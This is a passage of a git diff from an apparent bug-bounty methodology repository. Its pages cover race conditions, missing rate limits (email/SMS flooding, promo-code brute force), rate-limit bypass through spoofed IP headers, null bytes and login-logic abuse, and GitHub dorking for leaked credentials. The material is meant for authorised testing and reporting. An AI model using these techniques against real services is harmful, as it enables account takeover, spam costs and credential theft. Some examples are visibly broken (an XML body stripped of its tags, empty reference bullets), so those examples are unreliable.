**same token**, test for ATO. +3. Send both requests again, changing the victim's username/email in one of them. +4. Analyze response times: if both requests have the same response time, there may be a chance of ATO. + +## Bypass Techniques + +- **Latency kills races**: prefer HTTP/2 single-packet attack (all requests share one connection, last byte flushed at once via gate) — Turbo Intruder's `Engine.BURP2` with `concurrentConnections=1`. +- **Distribute across worker threads**: try many parallel copies and vary counts (5/10/20/50) to find the window where two handlers overlap. +- **Strip noise**: remove browser-injected headers/CSRF churn only if the endpoint tolerates it; keep sessions valid so you don't lose the race to an auth check. +- **Unique-key extraction**: if the app rejects duplicate payloads, vary non-semantic fields (whitespace, param order) so WAFs/parsers treat requests as distinct while the logic still collides. +- **H2 vs H1 behavior differs** — test the same endpoint on both protocol versions. + +## Tools & Resources + +- Burp Repeater group + Send Parallel (single-packet attack) — Burp 2023.9.x+ +- Turbo Intruder (BApp store) — https://github.com/PortSwigger/turbo-intruder +- PortSwigger race condition research/labs: https://portswigger.net/web-security/race-conditions +- Real-world reports: + - Race condition in flag submission (H1): https://hackerone.com/reports/454949 — same CTF flag submitted multiple times, inflating points. + - Race condition on invite-user (Omise): https://hackerone.com/reports/1285538 — invite the same member multiple times to one team. + - Duplicated retest payments (H1): https://hackerone.com/reports/429026 — multiple simultaneous confirm-requests paid the retester several times. + - Un-deletable group member (H1): https://hackerone.com/reports/604534 — user couldn't be removed by admin after a joined-in-race state. + - Following a user twice (every.org): https://hackerone.com/reports/927384 — follow the same user multiple times instead of getting an error. + - Popular reports feature (H1): https://hackerone.com/reports/146845 — up/downvote a report multiple times, boosting its rank. + - CTF group join (H1): https://hackerone.com/reports/1540969 — join the same CTF group multiple times; duplicate member entries. + - Invitation-limit bypass (Keybase): https://hackerone.com/reports/115007 — 7 invites sent despite a 3-invite limit. + - Gift-card multi-redemption (Reverb): https://hackerone.com/reports/759247 — redeem one gift card repeatedly to buy multiple times. + +## Report Tips + +- Prove server-side state changed twice (before/after screenshots of balance, counter, member list) — not just 2× HTTP 200. +- Quantify the business impact: money duplicated, invites/gifts over-issued, or ATO path — financial/coupon/gift-card races are usually high/critical. +- State the concurrency primitive used (Repeater parallel / Turbo Intruder gate, request count, HTTP/2) so the team can reproduce reliably. diff --git a/Rate_limit/Missing_Rate_Limit_Scenarios.md b/Rate_limit/Missing_Rate_Limit_Scenarios.md new file mode 100644 index 00000000..5bc27285 --- /dev/null +++ b/Rate_limit/Missing_Rate_Limit_Scenarios.md @@ -0,0 +1,146 @@ +# Missing / Inadequate Rate Limiting — Scenario Playbook + +Rate limiting caps how often a user can repeat an action within a timeframe (logins, OTP checks, invites, code redemptions). When it is missing on user-triggered side effects, attackers can spam emails/SMS, brute-force valid codes, or enable credential stuffing and bot abuse against APIs. Impact is usually financial loss (per-message billing, exhausted provider quotas), service/mailbox disruption, coupon abuse, and user enumeration — severity typically medium, higher on payment or ATO-adjacent flows. Note that some bug bounty programs mark plain rate-limit findings out-of-scope, so check policy before testing. + +## Hunting Checklist + +Endpoints/flows to verify a rate limit exists on: + +1. Forgot / reset password (email triggering). +2. Sign-up page. +3. Login page. +4. Invite user (plain, and re-triggering invites using Burp macros). +5. 2FA / OTP verification. +6. Verify-email / resend verification email. +7. Verify-phone-number / resend SMS code. +8. Promo / coupon / offer code redemption. +9. Comments and sent messages (spam vectors). +10. Use your own brain somewhere: any endpoint that spends money, sends a notification, or validates a secret. + +Generic reproduction pattern: + +1. Navigate to the feature and complete one legitimate action. +2. Intercept the request in Burp Suite. +3. Send to Intruder and clear § positions (repeat the request unchanged). +4. Set payload type to **Null payloads** with a count of ~100 and start the attack (tune threads; add a unique marker if the app de-duplicates). +5. Observe: do all requests succeed, or does the server throttle/block after N tries? +6. Check whether the limit is per-IP, per-account, per-email/phone, or per-session — then confirm it actually stops the abuse (see RateLimitBypass.md for defeating weak implementations). +7. Quantify the abuse: count of delivered messages, codes guessed, money moved per unit time. + +## Test Cases & Examples + +### Scenario 1 — No rate limit on forgot/reset password (email triggering) + +1. Navigate to `https://abc.target.com/forgot-password` (it could also be `https://abc.target.com/reset-password`). +2. Enter the victim's email. +3. Intercept the request in Burp Suite. +4. Send to Intruder and clear payload positions. +5. Use Null payloads and set the payload count to 100. +6. Start attack. + +```http +POST /forgot-password HTTP/1.1 +Host: abc.target.com +Content-Type: application/x-www-form-urlencoded + +email=victim@example.com +``` + +### Scenario 2 — No rate limit on invite user (email triggering) + +1. Go to `https://target.com/` and navigate to the **Invite User** option. +2. Enter the victim's email and send the invite. +3. Intercept the request. +4. Send to Intruder and clear payload positions. +5. Set payload type to Null payloads, payload count to 100. +6. Click Start attack after applying the threads. +7. The victim receives a huge number of invite emails. + +```http +POST /api/invite HTTP/1.1 +Host: target.com +Content-Type: application/json + +{"email":"victim@example.com","role":"member"} +``` + +Variant: rotate the **victim email** instead (Null payloads = spam one user; list payloads = spam-anything/enumeration), and use Burp macros to re-fire while a session or CSRF token expires. + +### Scenario 3 — No rate limit on verify-email (unlimited email triggering) + +1. Navigate to `https://abc.target.com/verify-email`. +2. Intercept the request in BurpSuite. +3. Send to Intruder and clear the payload positions. +4. Use Null payloads as the payload type and set the payload count to 100. +5. Start attack. + +```http +POST /verify-email HTTP/1.1 +Host: abc.target.com +Content-Type: application/json + +{"email":"victim@example.com","resend":true} +``` + +### Scenario 4 — No rate limit on verify phone number (unlimited SMS triggering) + +1. Open `https://target.com/phone-number-verify`. +2. Enter the victim's mobile number. +3. Intercept the request and send it to Intruder. +4. Use payload type NULL payloads, set the payload count, and start the attack. + +```http +POST /phone-number-verify HTTP/1.1 +Host: target.com +Content-Type: application/json + +{"phone":"+15550001234","action":"send_otp"} +``` + +### Scenario 5 — No rate limit on promo/coupon code endpoint + +1. Go to `https://abc.target.com/product/121/checkout/promo`. +2. Navigate to the **Offer/Promo/Coupon code** field. +3. Enter a random value. +4. Intercept the request and send it to Intruder. +5. Apply payload (e.g. Numeric generator or a coupon-pattern list like `SUMMER{4}`, `SAVE{5}-{3}`) and Start attack. + +```http +POST /api/checkout/apply-promo HTTP/1.1 +Host: abc.target.com +Content-Type: application/json + +{"product_id":"121","code":"SAVE10"} +``` + +Watch responses for the difference between "invalid code" and "code valid but expired/already-used" — that is a valid-code oracle you can grind without limits. + +### Impact (email/SMS triggering scenarios) + +If the company uses an email/SMS service API (such as AWS, GCP, etc.) or a purchased tool for the emails sent on the support domain, the missing rate limit results in **financial loss** and can **slow down services**: huge/mass mails lead to disruption of data that original users might send, or the purchased quota may be exhausted. For promo codes: **financial loss** — an attacker can easily brute-force all promo/coupon/offer codes. + +### Mitigation (standard recommendations) + +1. IP-based blocking/throttling. +2. Captcha (proof-of-work) on the trigger. +3. Firewall / WAF request limits. +4. Reducing the number of allowed API requests (per-IP **and** per-account/per-target-email limits). + +## Bypass Techniques + +A limit that "exists" is often trivially bypassed — always confirm whether it survives the tricks in [RateLimitBypass.md](RateLimitBypass.md) (IP-spoofing headers, method changes, trailing slashes, null bytes, HTTP parameter pollution, body format switching, API version fallback). For example, test whether a per-IP limit resets when the same email is submitted through different header values, or whether an aliased/param-polluted email value (`victim+1@x.com`, `victim@x.com%00`) circumvents per-account counters. + +## Tools & Resources + +- Burp Suite Intruder — Null payloads (clusterbomb/nulldit to repeat requests unchanged), Numeric/Regex payloads for code brute force. +- Burp macros — keep sessions/tokens valid across long attacks (invite-user macro check in the program scope). +- Turbo Intruder (PortSwigger BApp) — high-throughput confirmation that no limit exists. +- OWASP [Testing for Rate Limiting](https://owasp.org/www-project-web-security-testing-guide/) guidance in the session management / API chapters. +- Companion doc: [RateLimitBypass.md](RateLimitBypass.md) — techniques for defeating implemented limits. + +## Report Tips + +- Show raw evidence: "100/100 requests succeeded with 200 + delivered email/SMS, zero throttling" with a trimmed Intruder screenshot/log — volume + success rate is the finding. +- Monetize the impact: name the provider class (SES/Twilio/AWS/GCP-style billing), per-message cost, and messages/hour achievable; note that an attacker can also spend the org's quota to deny legitimate notifications (mail/SMS DoS). +- For promo brute force, redeem one real discovered code to a small amount (or show a valid-code oracle response pair) instead of a raw wordlist dump — demonstrated abuse beats theoretical. +- If enumeration is possible via different responses (registered vs unregistered email/phone), state it as an account-enumeration impact alongside the spam. diff --git a/Rate_limit/No Rate-Limit on Verify-PhoneNo.md b/Rate_limit/No Rate-Limit on Verify-PhoneNo.md deleted file mode 100644 index da62af17..00000000 --- a/Rate_limit/No Rate-Limit on Verify-PhoneNo.md +++ /dev/null @@ -1,17 +0,0 @@ -## Flaw-Name : Unlimited SMS Triggering ---- -### Steps To Reproduce -- 1 - Open this url `https://target.com/phone-number-verify` -- 2 - Enter the `victim's mob. number` -- 3 - `Intercept the request` and send the request to intruder -- 4 - Use payload type as `NULL payloads` and set the payload count & `start attack` ---- -### Impact : -- If the company is using any email service software API(such as AWS,GCP..etc) or some tool that has been bought for the emails being sent on the support domain, the rate limit can result in `financial loss` and it can also `slow down your services` as huge/mass mails will `lead to disruption of data` that original user might send or the quota that has been bought might be exhausted. ---- -### Mitigation - - -- 1 - IP Based Blocking -- 2 - Captcha -- 3 - Firewall -- 4 - Reducing the number of API requests diff --git a/Rate_limit/No Rate-limit on Invite User.md b/Rate_limit/No Rate-limit on Invite User.md deleted file mode 100644 index 0d2907c8..00000000 --- a/Rate_limit/No Rate-limit on Invite User.md +++ /dev/null @@ -1,25 +0,0 @@ -## Flaw-Name : No rate limit on invite user leads to email triggering ---- - -### Description : -- Rate limiting is a strategy for limiting network traffic. It puts a cap on how often someone can repeat an action within a certain timeframe – for instance, trying to log in to an account. - ---- -### Steps To Reproduce -- 1 - Go to `https://target.com/` -- 2 - Navigate to `Invite User` option and Enter the `victim's email` -- 3 - Send invite & `Intercept` the Request -- 4 - Send the request to `Intruder` & clear payload positions -- 5 - Apply payload type as `null payload` and payload count as 100 -- 5 - Click on `Start attack` after applying the threads -- 6 - The victim will get huge number of emails ---- -### Impact : -- If the company is using any email service software API(such as AWS,GCP..etc) or some tool that has been bought for the emails being sent on the support domain, the rate limit can result in `financial loss` and it can also `slow down your services` as huge/mass mails will `lead to disruption of data` that original user might send or the quota that has been bought might be exhausted. ---- -### Mitigation - - -- 1 - IP Based Blocking -- 2 - Captcha -- 3 - Firewall -- 4 - Reducing the number of API requests diff --git a/Rate_limit/No Rate-limit on Promo.md b/Rate_limit/No Rate-limit on Promo.md deleted file mode 100644 index 7b9613fc..00000000 --- a/Rate_limit/No Rate-limit on Promo.md +++ /dev/null @@ -1,11 +0,0 @@ -## No Rate-Limit on Promo - -### Steps To Reproduce: -- 1) Go to URL - `https://abc.target.com/product/121/checkout/promo` -- 2) Navigate to `Offer/Promo/Coupon code` option -- 3) Enter the random digit -- 4) `Intercept the Request` and Send to intruder -- 5) Apply payload & `Start attack` - -### Impact : -- Financial Loss, an attacker can easily bruteforce all promo/coupon/Offer codes. \ No newline at end of file diff --git a/Rate_limit/No Rate-limit on Verify-email.md b/Rate_limit/No Rate-limit on Verify-email.md deleted file mode 100644 index 9ab9df9a..00000000 --- a/Rate_limit/No Rate-limit on Verify-email.md +++ /dev/null @@ -1,19 +0,0 @@ -## Flaw-Name : Unlimited Email Triggering ---- -### Steps To Reproduce : -- 1 - Navigate to : `https://abc.target.com/verify-email` -- 2 - `Intercept` the request in BurpSuite -- 3 - Send the request to `Intruder` and clear the payload position -- 4 - Use `Null payloads` as payload type and set the payload count to 100 -- 5 - `Start attack` - ---- -### Impact : -- If the company is using any email service software API or some tool that has been bought for the emails being sent on the support domain, the rate limit can result in `financial loss` and it can also `slow down your services` as huge/mass mails will `lead to disruption of data` that original user might send or the quota that has been bought might be exhausted. ---- -### Mitigation : - -- 1 - IP Based Blocking -- 2 - Captcha -- 3 - Firewall -- 4 - Reducing the number of API requests diff --git a/Rate_limit/No Rate-limit on forget-password.md b/Rate_limit/No Rate-limit on forget-password.md deleted file mode 100644 index 9835a76d..00000000 --- a/Rate_limit/No Rate-limit on forget-password.md +++ /dev/null @@ -1,21 +0,0 @@ -## Flaw-Name : No rate limit on forget/reset password leads to email triggering ---- -### Steps To Reproduce -- 1 - Navigate to : `https://abc.target.com/forgot-password` or it could be `https://abc.target.com/reset-password` -- 2 - Enter the email of the victim -- 3 - `Intercept` the request in burp suite -- 4 - Send the request to the `Intruder` and clear payload positions -- 5 - Use `Null payloads` and set the payload count to 100 -- 6 - `Start attack` - - ---- -### Impact : -- If the company is using any email service software API or some tool that has been bought for the emails being sent on the support domain, the rate limit can result in `financial loss` and it can also `slow down your services` as huge/mass mails will `lead to disruption of data` that original user might send or the quota that has been bought might be exhausted. ---- -### Mitigation : - -- 1 - IP Based Blocking -- 2 - Captcha -- 3 - Firewall -- 4 - Reducing the number of API requests \ No newline at end of file diff --git a/Rate_limit/README.md b/Rate_limit/README.md index ff633e5e..7a12e518 100644 --- a/Rate_limit/README.md +++ b/Rate_limit/README.md @@ -1,74 +1,10 @@ -## RATE LIMIT FLAWS -This flaw leveraged by malicious actors to perform DDoS, brute force, and bot attacks on APIs. Although it's more than that. -##### NOTE: Some organisation `keep rate-limit bug as OOS`, So check their policy before testing. -## Rate-limit Checks -1 - Rate limit on Forget password -2 - Rate limit on Sign-up Page -3 - Rate limit on Login Page -4 - Rate limit on Invite user normal -5 - Rate limit on Invite user using MACROS -6 - Rate limit on 2FA -7 - Rate-limit on Comment and sent messages -8 - Use your own brain somewhere - -## Bypass-Techniques -#### 1 - Append NULL characters at the end of the request : -`%00, %0d%0a, %0d, %0a, %09, %0C, %20, ( )space` - - POST /signup/new/1337 HTTP/1.1 - HOST: api.target.com - ... - email=hacker%40gmail.com&password=12345678%00 -#### 2 - Append NULL characters at the end of the Path : -`%00, %0d%0a, %0d, %0a, %09, %0C, %20, ( )space` -`POST /profile/post/like%00 HTTP/2` - -#### 3) Using Custom `HTTP headers` - X-Originating-IP: 127.0.0.1 - X-Forwarded-For: 127.0.0.1 - X-Remote-IP: 127.0.0.1 - X-Remote-Addr: 127.0.0.1 - X-Client-IP: 127.0.0.1 - X-Host: 127.0.0.1 - X-Forwared-Host: 127.0.0.1 - ---- - X-Originating-IP: 127.0.0.2 - X-Forwarded-For: 127.0.0.2 - X-Remote-IP: 127.0.0.2 - X-Remote-Addr: 127.0.0.2 - X-Client-IP: 127.0.0.2 - X-Host: 127.0.0.2 - X-Forwared-Host: 127.0.0.2 ---- - X-Originating-IP: 127.0.1 - X-Forwarded-For: 127.0.1 - X-Remote-IP: 127.0.1 - X-Remote-Addr: 127.0.1 - X-Client-IP: 127.0.1 - X-Host: 127.0.1 - X-Forwared-Host: 127.0.1 - -#### 4 - Changing the value of `User-Agent:` - UserAgent: 'CHANGED_USERAGENT' - -#### 5 - Adding Custom `parameter` in GET request -`GET /accout/passwordreset/?test=test` - -#### 6 - Change request body, (`JSON -> XML`) or vice versa - Use Burp Extension --> `Content Type Converter` - -#### 7 - Changing API version , -`/api/v2/user/reset_pw --> /api/v1/user/reset_pw or /api/v3/user/reset_pw` - -#### 8 - Bypass through Exploiting Logic flaw on Login page, - - Take Attacker and Victim account - - Identify how many enough login attempts in application - - For-eg. if application gives only 3 attempts, then - - By using burp macros, send the attackers login request 1 time and victim login request 2 time, or alternatively - - If NOT blocked, Repeat the process until we get victim's password -#### 9 - Try to find `Origin IP` of the Application - - Shodan - - Censys - - Visit the application with it's IP address - - Do your own research \ No newline at end of file +# Rate Limit Flaws + +Missing or bypassable rate limits are leveraged by malicious actors to perform DDoS, brute-force, and bot attacks on APIs — and to burn money on email/SMS providers. Although it's more than that. + +> **NOTE:** Some organisations keep plain rate-limit bugs as out-of-scope, so check their policy before testing. + +## Contents + +- [Missing Rate Limit Scenarios](Missing_Rate_Limit_Scenarios.md) — scenario playbook: forgot-password, invite user, verify-email, verify-phone (SMS), promo codes; reproduction steps, impact, mitigations. +- [Rate Limit Bypass](RateLimitBypass.md) — techniques to defeat implemented limits: HTTP methods, IP-spoofing headers, special characters/paths, body & version tricks, IP rotation, logic abuse, origin IP. diff --git a/Rate_limit/RateLimitBypass.md b/Rate_limit/RateLimitBypass.md index f9aaef1c..d201b90c 100644 --- a/Rate_limit/RateLimitBypass.md +++ b/Rate_limit/RateLimitBypass.md @@ -1,17 +1,40 @@ -# Rate Limit Bypass Techniques -## There are two ways to do that -- Customizing HTTP Methods -- Adding Headers to Spoof IP +# Rate Limit Bypass -## 1. Customizing HTTP Methods -- If the request goes on GET try to change it to POST, PUT, etc., -- If you wanna bypass the rate-limit in API's try HEAD method. +Rate limiting should throttle repeated abuse of sensitive endpoints (login, OTP, password reset, invitations), but implementations frequently key the counter on something the client controls — IP derived from a header, HTTP method, exact path, or request body format. Sending the same request in a slightly different shape resets the counter, turning a "protected" endpoint into an unlimited brute-force, spam, or enumeration vector. Impact mirrors missing rate limits: credential stuffing/ATO, email/SMS cost abuse, and promo/OTP code guessing. -## Rate Limit Bypass using Header +## Hunting Checklist -Use the following Header just Below the Host Header +1. Trigger the legitimate limit first (e.g. 3–10 wrong logins) so you know what "blocked" looks like (status code, message, headers like `X-RateLimit-Remaining`). +2. Determine the rate-limit key: change one identity signal at a time (IP header, User-Agent, session cookie, account) and see which change resets the counter. +3. Work through the bypass categories below, one variable per test: HTTP method → spoofing headers → path/payload special characters → parameters/body format → API version → client identity (IP rotation) → logic abuse. +4. For each variant, send the *next* request that should have been blocked — a success means the limit is bypassed, not just inconsistent. +5. Confirm end-to-end abuse at scale (e.g. 50 more attempts through the bypass) before reporting. +6. If the limit only applies to the exposed API gateway, look for the origin IP and test it directly. +## Test Cases & Examples + +### 1. Customizing HTTP methods + +- If the request goes on `GET`, try changing it to `POST`, `PUT`, etc. +- If you want to bypass the rate limit on APIs, try the `HEAD` method. + +```http +POST /api/v1/login HTTP/1.1 +Host: target.com +Content-Type: application/json + +{"email":"victim@x.com","password":"guess"} ``` + +```http +HEAD /api/v1/login?email=victim@x.com&password=guess HTTP/1.1 +``` + +### 2. Adding headers to spoof the IP + +Use the following headers just below the `Host` header: + +```http X-Forwarded-For: IP X-Forwarded-IP: IP X-Client-IP: IP @@ -19,14 +42,18 @@ X-Remote-IP: IP X-Originating-IP: IP X-Host: IP X-Client: IP +``` -#or use double X-Forwarded-For header +Or use a double `X-Forwarded-For` header (backends often trust the last value): + +```http X-Forwarded-For: X-Forwarded-For: IP ``` -## Adding HTTP Headers to Spoof IP and Evade Detection -- These are Headers I've collected so far to Bypass Rate-Limits. -``` + +Full header set collected for spoofing IPs and evading detection: + +```http X-Forwarded: 127.0.0.1 X-Forwarded-By: 127.0.0.1 X-Forwarded-For: 127.0.0.1 @@ -36,39 +63,153 @@ X-Forward-For: 127.0.0.1 Forwarded-For: 127.0.0.1 Forwarded-For-Ip: 127.0.0.1 X-Custom-IP-Authorization: 127.0.0.1 +X-Client-IP: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 +X-Forwared-Host: 127.0.0.1 ``` -## Rate Limit Bypass using Special Characters +Rotate the value on every request to keep minting "new clients": + +```http +X-Originating-IP: 127.0.0.1 +X-Forwarded-For: 127.0.0.1 +X-Remote-IP: 127.0.0.1 +X-Remote-Addr: 127.0.0.1 +X-Client-IP: 127.0.0.1 +X-Host: 127.0.0.1 +X-Forwared-Host: 127.0.0.1 +--- +X-Originating-IP: 127.0.0.2 +X-Forwarded-For: 127.0.0.2 +X-Remote-IP: 127.0.0.2 +X-Remote-Addr: 127.0.0.2 +X-Client-IP: 127.0.0.2 +X-Host: 127.0.0.2 +X-Forwared-Host: 127.0.0.2 +--- +X-Originating-IP: 127.0.1 +X-Forwarded-For: 127.0.1 +X-Remote-IP: 127.0.1 +X-Remote-Addr: 127.0.1 +X-Client-IP: 127.0.1 +X-Host: 127.0.1 +X-Forwared-Host: 127.0.1 +``` + +### 3. Special characters in payloads and paths + +- Adding a null byte (`%00`) at the end of the email can sometimes bypass the rate limit — the validator sees a "different" value while the backend may still normalize/deliver it. +- Try adding a space character after the email (not encoded). +- Common characters that help bypass rate limits: `%0d`, `%2e`, `%09`, `%20`, `%0`, `%00`, `%0d%0a`, `%0a`, `%0C` +- Appending a slash (`/`) at the end of the API endpoint can also bypass the limit: `domain.com/v1/login` → `domain.com/v1/login/` + +Append null characters at the end of the request body: + +```http +POST /signup/new/1337 HTTP/1.1 +Host: api.target.com +Content-Type: application/x-www-form-urlencoded + +email=hacker%40gmail.com&password=12345678%00 +``` + +Append them at the end of the path: + +```http +POST /profile/post/like%00 HTTP/2 +Host: target.com +``` + +### 4. Changing the User-Agent + +```http +User-Agent: CHANGED_USERAGENT +``` + +Try changing the User-Agent, the cookies... anything that could identify you — some limiters key the counter on the fingerprint rather than the IP. + +### 5. Adding a custom parameter to a GET request + +```http +GET /accout/passwordreset/?test=test HTTP/1.1 +Host: target.com +``` + +An unexpected parameter can make the request hash/path "new" to the limiter while the endpoint still processes it. + +### 6. Changing the request body format (JSON ⇄ XML) + +```http +POST /api/v1/login HTTP/1.1 +Content-Type: application/xml + +victim@x.comguess +``` + +Use the Burp extension **Content Type Converter** to flip formats quickly — limits often count only one serialization. + +### 7. Changing the API version + +```http +/api/v2/user/reset_pw → /api/v1/user/reset_pw +/api/v2/user/reset_pw → /api/v3/user/reset_pw +``` + +### 8. Exploiting the limiter's logic (login example) + +If the app gives only 3 attempts per *account*: + +1. Take attacker and victim accounts. +2. Identify how many login attempts are allowed. +3. Using Burp macros, send the attacker's login request 1 time (burning 1 of the shared quota) and the victim's login request 2 times — repeat. +4. If NOT blocked, repeat the process until you get the victim's password. + +### 9. Bypassing the edge entirely — origin IP + +If they are limiting to 10 tries per IP, every 10 tries change the IP inside the header; also try reaching the app itself: + +1. Find the origin IP of the application via Shodan / Censys. +2. Visit the application by its IP address directly. +3. Do your own research (DNS history, certificate transparency, mail headers). -- Adding Null Byte ( %00 ) at the end of the Email can sometimes Bypass Rate Limit. -- Try adding a Space Character after a Email. ( Not Encoded ) -- Some Common Characters that help bypassing Rate Limit : %0d , %2e , %09 , %20 , %0, %00, %0d%0a, %0a, %0C -- Adding a slash(/) at the end of api endpoint can also Bypass Rate Limit. `domain.com/v1/login` -> `domain.com/v1/login/` +## Bypass Techniques (summary) +| Category | Trick | +|---|---| +| Verb | GET↔POST↔PUT↔HEAD | +| Identity headers | IP-spoofing headers, rotating their values | +| Client fingerprint | User-Agent / cookie changes | +| Path | trailing slash, `%00` and other control/space chars | +| Payload | `%00`, space after email, common chars (`%0d`, `%2e`, `%09`, `%20`, `%0d%0a`, `%0a`, `%0C`) | +| Request shape | extra custom parameter, JSON ⇄ XML | +| Route | old/new API version | +| Logic | burn quota with attacker account via macros | +| Network | IP rotation extension, direct origin-IP access | -## Using IP Rotate Burp Extension +## Tools & Resources -- Try changing the user-agent, the cookies... anything that could be able to identify you -- If they are limiting to 10 tries per IP, every 10 tries change the IP inside the header. - Change other headers -- Burp Suite's Extension IP Rotate works well in many cases. Make sure you have Jython installed along. +- **IP Rotate (Burp extension)** — rotates egress IPs so per-IP limits never trigger; works well in many cases (requires Jython installed). Everything you need: +- **Content Type Converter (Burp BApp)** — JSON ⇄ XML switching. +- **Burp macros + Turbo Intruder** — logic-abuse and high-volume confirmation. +- Shodan / Censys — origin IP discovery. +- Writeups: [Bypassing Rate Limit Like a Pro](https://medium.com/bugbountywriteup/bypassing-rate-limit-like-a-pro-5f3e40250d3c), [Methods to Bypass Rate Limit (with screenshots)](https://medium.com/@huzaifa_tahir/methods-to-bypass-rate-limit-5185e6c67ecd) -- Here You'll everything you need - https://github.com/PortSwigger/ip-rotate +References: +- +- +- (all-in-one, must check) +## Report Tips -## You can find some more here - [Check this out](https://medium.com/bugbountywriteup/bypassing-rate-limit-like-a-pro-5f3e40250d3c) -## You can find more with screenshot https://medium.com/@huzaifa_tahir/methods-to-bypass-rate-limit-5185e6c67ecd +- Reproduce the full cycle: "blocked at N attempts → applied → N more attempts succeeded" — the delta proves the bypass, and the final successful login/OTP/invite proves impact. +- Name what the bypass protects (login, 2FA, password reset, SMS/email sending) so triage sees the credential-stuffing or cost impact, not just a header trick. +- If IP-spoofing headers are trusted app-wide, mention that the same headers may also poison logs, audits, and IP-based allowlists (larger blast radius than rate limits). -# Reference -* https://twitter.com/m4ll0k2/status/1294983599943540738/photo/1 -* https://twitter.com/SalahHasoneh1/status/1287366496432332800 -* https://twitter.com/SMHTahsin33/status/1295054667613757441 (all in one must check) +## Authors -# Authors: -* [Keshav Malik](https://www.linkedin.com/in/keshav-malik-22478014a)
-* [0xd3vil](https://linkedin.com/in/0xd3vil)
-* [Virdoex_hunter](https://twitter.com/Virdoex_hunter) -* [@0xCyberPirate](https://twitter.com/0xCyberPirate) +- [Keshav Malik](https://www.linkedin.com/in/keshav-malik-22478014a) +- [0xd3vil](https://linkedin.com/in/0xd3vil) +- [Virdoex_hunter](https://twitter.com/Virdoex_hunter) +- [@0xCyberPirate](https://twitter.com/0xCyberPirate) diff --git a/Recon/Github_Dorking.md b/Recon/Github_Dorking.md index c317c915..aecb7f7f 100644 --- a/Recon/Github_Dorking.md +++ b/Recon/Github_Dorking.md @@ -1,94 +1,77 @@ -# GitHub Recon: - -## Specific Org search: -- "Org_name" password -- "org_name" key -- "org_name" api -- "org_name" “filename:vim_settings.xml” -- "org_name" "Authorization: Bearer" -- "org_name" "Language: PHP" - -## Sensitive Files search: - -- filename:manifest.xml -- filename:travis.yml -- filename:vim_settings.xml -- filename:database -- filename:secrets.yml password -- filename:.esmtprc password -- filename:passwd path:etc -- filename:dbeaver-data-sources.xml -- path:sites databases password -- filename:config.php dbpasswd - -## Specific Language based search: - -- language:python username -- language:php username -- language:sql username -- language:html password -- language:perl password -- language:shell username -- language:java api -- HOMEBREW_GITHUB_API_TOKEN language:shell - -## API keys, Token & Hard-Coded Password search: - -- SecretKey / Secrect_key / skey -- privatekey / private_key / pkey -- user_secret / userSecret -- admin_passwd / adminpasswd / adminPass etc -- “api keys” -- authorization_bearer: -- oauth -- auth -- authentication -- client_secret -- api_token: -- “api token” -- client_id -- password -- user_password -- user_pass -- passcode -- client_secret -- secret -- password hash -- OTP -- user auth - -## Username search: - -- user:name (user:admin) -- org:name (org:google type:users) -- in:login ( in:login) -- in:name ( in:name) -- fullname:firstname lastname (fullname: ) -- in:email (data in:email) - -## GitHub Dorks for Finding Information using Dates: - -- created:<2012–04–05 -- created:>=2011–06–12 -- created:2016–02–07 location:iceland -- created:2011–04–06..2013–01–14 in:username - -## Extension based search: - -- extension:pem private -- extension:ppk private -- extension:sql mysql dump -- extension:sql mysql dump password -- extension:json api.forecast.io - -## Automated Tools: - -1. [TruffleHog](https://github.com/dxa4481/truffleHog) -2. [WatchTower](https://radar.nightfall.ai/) -3. [Dorki](https://dorki.attaxa.com/) - -## NOTE : -If you find any API key or credentials or any other sensitive information under test directory then do not report it because that is an intended behaviour. - -## Author: +# GitHub Dorking + +Developers leak API keys, tokens, credentials, internal configs, and whole dumps into GitHub constantly — often inside the target org's own repositories or under employee accounts. Systematic GitHub dorking turns public code search into an initial-access and information-disclosure goldmine. Typical impact: valid third-party API keys, private registry access, database dumps, and sometimes direct access to production systems. + +> This doc covers the *workflow*. The dork corpora live in the Sensitive_Info_Leaks section — don't duplicate them here: +> - **[Github-dorks.md](../Sensitive_Info_Leaks/Github-dorks.md)** — curated essential dorks (files, languages, keys, usernames, extensions) +> - **[Github_dorks_all.md](../Sensitive_Info_Leaks/Github_dorks_all.md)** — exhaustive reference (full secret/keyword/regex corpus + long-tail dorks) +> - **[Github_Recon_Method.md](../Sensitive_Info_Leaks/Github_Recon_Method.md)** — step-by-step method with real HackerOne report examples + +## Hunting Checklist + +1. **Scope the org on GitHub** — find the official org (`org:name`), then enumerate its public repos and contributors. +2. **Dork by org name, not just org: qualifier** — employees leak target names in personal repos, snippets, and configs; search the company/brand/product name as a quoted string combined with secret keywords. +3. **Enumerate humans** — pull employee usernames from LinkedIn/Twitter/commits and search their repos, gists, and profile fields (see [Github_Recon_Method.md](../Sensitive_Info_Leaks/Github_Recon_Method.md) step 2). +4. **Run the curated dorks** — work through [Github-dorks.md](../Sensitive_Info_Leaks/Github-dorks.md) with `"org_name"` prepended. +5. **Deep-scan with the full corpus** — for automated sweeps, feed [Github_dorks_all.md](../Sensitive_Info_Leaks/Github_dorks_all.md) into a script/tool rather than searching manually. +6. **Validate before touching** — confirm any found key/token actually works *and* belongs to the program; check recent commits first (leaks are often already rotated). +7. **Automate persistence** — schedule re-runs; new leaks appear daily. + +## Test Cases & Examples + +### Org-scoped search templates + +Replace `org_name` with the target company/product name and run each (full syntax reference: [Github-dorks.md](../Sensitive_Info_Leaks/Github-dorks.md)): + +``` +"org_name" password +"org_name" key +"org_name" api +"org_name" "filename:vim_settings.xml" +"org_name" "Authorization: Bearer" +"org_name" "Language: PHP" +``` + +### Useful GitHub search qualifiers (build your own dorks) + +``` +user:name # e.g. user:admin — search a specific account +org:name # e.g. org:google type:users — org members +in:login # in:login +in:name # in:name +fullname: +in:email # data in:email +created:<2012-04-05 +created:>=2011-06-12 +created:2016-02-07 location:iceland +created:2011-04-06..2013-01-14 in:username +extension:pem private +extension:ppk private +extension:sql mysql dump +extension:json api.forecast.io +``` + +The full grouped dork lists (files, sensitive files, language-based, API keys/tokens/passwords, usernames, dates, extensions) are maintained in **[Github-dorks.md](../Sensitive_Info_Leaks/Github-dorks.md)** and **[Github_dorks_all.md](../Sensitive_Info_Leaks/Github_dorks_all.md)**. + +## Bypass Techniques + +- GitHub code search throttles unauthenticated queries — use a logged-in account you don't mind risking, and space out queries. +- Leaks hide in **gists and forks**, which default searches miss; grep candidate users' gists directly. +- Deleted/edited secrets often survive in **commit history** — a secret scanner (below) reads full histories, unlike web search. + +## Tools & Resources + +1. 